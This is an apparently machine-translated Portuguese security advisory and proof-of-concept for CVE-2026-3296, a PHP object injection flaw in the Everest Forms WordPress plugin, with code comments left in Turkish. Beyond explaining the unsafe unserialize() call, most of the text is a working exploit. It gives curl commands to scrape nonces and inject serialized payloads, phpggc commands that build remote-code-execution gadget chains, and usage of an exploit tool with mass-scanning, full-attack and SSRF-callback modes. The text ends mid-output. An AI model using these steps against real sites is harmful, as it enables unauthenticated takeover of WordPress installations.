
CVE-2026-3296 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada com CVSS 9.8 no plugin Everest Forms WordPress
CVE-2026-3296 é uma vulnerabilidade CVSS 9.8 Crítica de Injeção de Objetos PHP não autenticada no plugin Everest Forms WordPress.
Plugin: Everest Forms – Formulário de Contato, Formulário de Pagamento, Quiz, Pesquisa e Construtor de Formulários Personalizados Slug do Plugin:
everest-formsID CVE: CVE-2026-3296 Pontuação CVSS: 9.8 (Crítica) Vetor CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de Vulnerabilidade: Injeção de Objetos PHP não autenticada → RCE Versões Afetadas: <= 3.4.3 Versão Corrigida: 3.4.4 Data de Publicação: 7 de Abril de 2026 Pesquisador: 0xsabre — Mobikwik / Wordfence
O plugin Everest Forms, ao exibir metadados de entrada de formulários no painel administrativo,
chama a função nativa unserialize() do PHP sem o parâmetro .
allowed_classesUm atacante não autenticado pode incorporar um payload serializado de objeto PHP em qualquer campo público do formulário,
salvando-o no banco de dados. Quando a entrada é visualizada no painel administrativo, unserialize() é acionado
e qualquer POP gadget chain disponível no ambiente é executado.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-3296 |
| CVSS | 9.8 Crítica |
| Tipo | Injeção de Objetos PHP (Desserialização de Dados Não Confiáveis) |
| Versão Afetada | <= 3.4.3 |
| Versão Corrigida | 3.4.4 |
| Autenticação | Não necessária (injeção), Admin (disparo) |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
FAZ 1 — INJEÇÃO (Autenticação não necessária)
FAZ 2 — DISPARO (Visualização no painel administrativo)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Este payload é totalmente preservado após sanitize_text_field():
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
O nonce fornece proteção CSRF, não autenticação. O atacante abre a página do formulário via GET, lê o nonce e depois envia o payload via POST.
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ Aviso: Esta PoC é fornecida apenas para fins educacionais e de pesquisa defensiva de segurança.
Pré-requisitos:
TARGET="https://target-site.example.com/contact/"
# Extrair ID do formulário
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Extrair nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Teste seguro — stdClass, sem métodos mágicos
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Para ambiente real, gere a chain POP com PHPGGC:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Esperado: Mensagem de sucesso do formulário ou redirecionamento.
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# A linha O:8:"stdClass":2:{...} deve aparecer
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
Ao carregar a página, unserialize() é executado.
// test-gadget.php — USAR APENAS EM AMBIENTE DE TESTE
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
requests
python everest_forms_poi.py -u http://alvo.com --mode scan
python everest_forms_poi.py -u http://alvo.com --mode inject \
--payload-type probe
python everest_forms_poi.py -u http://alvo.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://alvo.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
python everest_forms_poi.py -u http://alvo.com --mode scan \
--payload-type ssrf \
--callback-url http://seu.burp.collaborator.net
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o resultados.txt
python everest_forms_poi.py -u http://alvo.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
| Modo | Descrição |
|---|---|
scan | Injeta payload benigno — detecção de vulnerabilidade |
inject | Apenas Fase 1 — armazena payload |
trigger | Apenas Fase 2 — dispara com login admin |
full | Fase 1 + Fase 2 — ataque completo |
| Parâmetro | Curto | Descrição | Padrão |
|---|---|---|---|
--url | -u | URL alvo único | — |
--list | -l | Arquivo com lista de alvos | — |
--threads | -t | Número de threads | 5 |
--output | -o | Arquivo de saída | poi_results.txt |
--proxy | — | URL do proxy | — |
--force | — | Continua mesmo se a detecção do plugin falhar | False |
| Parâmetro | Descrição | Padrão |
|---|---|---|
--form-id | ID do formulário | detecção automática |
--form-url | URL da página do formulário | detecção automática |
--field-name | Nome do campo alvo | detecção automática |
--nonce | Valor do nonce do formulário | extração automática |
--entry-id | ID da entrada (modo trigger) | detecção automática |
| Parâmetro | Descrição | Padrão |
|---|---|---|
--payload-type | Tipo de payload | probe |
--custom-payload | String serializada personalizada | — |
--cmd | Comando RCE | id |
--callback-url | URL de callback OOB | — |
| Parâmetro | Descrição |
|---|---|
--admin-user | Nome de usuário admin |
--admin-pass | Senha admin |
| Tipo | Descrição | Uso |
|---|---|---|
probe | stdClass benigno — sem efeitos colaterais | Detecção de vulnerabilidade |
file_write | Escrita de arquivo (TestGadget) | Verificação em ambiente de teste |
ssrf | Callback HTTP — detecção OOB | Burp Collaborator |
wp_rpc | Placeholder para WordPress POP chain | Gerado com PHPGGC |
yoast_rce | Placeholder para Yoast SEO POP chain | Gerado com PHPGGC |
monolog_rce | Placeholder para Monolog POP chain | Gerado com PHPGGC |
💡 Geração de Chain Real com PHPGGC:
# WordPress/RCE1 phpggc WordPress/RCE1 system "id" -s # Monolog/RCE1 phpggc Monolog/RCE1 system "id" -s # Listar todas as chains disponíveis phpggc -l
| Status | Descrição |
|---|---|
★ PWNED | Desserialização acionada + payload executado |
★ VULN | Payload injetado — vulnerabilidade confirmada |
~ TRIGGERED | Entrada visualizada — verificar gadget chain manualmente |
- INJ_FAIL | Injeção falhou (corrigido / formulário ausente) |
~ NO_FORM | Nenhum formulário do Everest Forms encontrado |
- NO_PLUGIN | Plugin não instalado |
~ NO_CREDS | Credenciais admin ausentes |
- ADM_FAIL | Login admin falhou |
~ UNREACH | Alvo inacessível |
[*] Alvo : http://alvo.com
[*] Modo : full
[*] Tipo Payload : probe
[*] Comando : id
[*] Usuário Admin : admin
[→] http://alvo.com Passo 1: Procurando formulário do Everest Forms...
[→] http://alvo.com Passo 2: Injetando payload...
[→] http://alvo.com Passo 3: Realizando login admin...
[→] http://alvo.com Passo 4: Procurando ID da entrada...
[→] http://alvo.com Passo 5: Acionando unser